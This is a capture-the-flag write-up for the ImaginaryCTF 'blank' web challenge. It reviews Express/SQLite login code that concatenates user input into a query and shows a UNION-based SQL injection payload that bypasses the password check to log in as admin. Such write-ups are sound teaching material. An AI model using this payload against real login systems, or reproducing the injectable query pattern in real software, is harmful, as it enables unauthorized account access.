Rating:

### Description
>I asked ChatGPT to make me a website. It refused to make it vulnerable so I added a little something to make it interesting. I might have forgotten something though...

Source code is provided, so let's review it before we check [the site](http://blank.chal.imaginaryctf.org).

## Recon
We need to login as admin to access the `/flag` endpoint.
```js
app.get('/flag', (req, res) => {
if (req.session.username == "admin") {
res.send('Welcome admin. The flag is ' + fs.readFileSync('flag.txt', 'utf8'));
}
else if (req.session.loggedIn) {
res.status(401).send('You must be admin to get the flag.');
} else {
res.status(401).send('Unauthorized. Please login first.');
}
});
```

The `/login` endpoint appears to be vulnerable to [SQL injection](https://portswigger.net/web-security/sql-injection)
```js
app.post('/login', (req, res) => {
const username = req.body.username;
const password = req.body.password;

db.get('SELECT * FROM users WHERE username = "' + username + '" and password = "' + password+ '"', (err, row) => {
if (err) {
console.error(err);
res.status(500).send('Error retrieving user');
} else {
if (row) {
req.session.loggedIn = true;
req.session.username = username;
res.send('Login successful!');
} else {
res.status(401).send('Invalid username or password');
}
}
});
});
```

A `users` table is inserted into the database, but no users are added! We'll need to specify the username as `admin` and use SQLi to bypass the password check.

Additionally, the database type is `sqlite3`, so we'll need to [craft payloads accordingly](https://rioasmara.com/2021/02/06/sqlite-error-based-injection-for-enumeration)

Sending a double quote will create an error in the SQL statement, returning 500.
```sql
"
```

We can use a UNION query, ensuring that the number of columns matches the expected.
```sql
" UNION SELECT 420, "admin", "cat" --
```

Now, we just need to visit http://blank.chal.imaginaryctf.org/flag and receive our flag.
```txt
ictf{sqli_too_powerful_9b36140a}
```

Original writeup (https://github.com/Crypto-Cat/CTF/blob/main/ctf_events/imaginary_23/web/blank.md).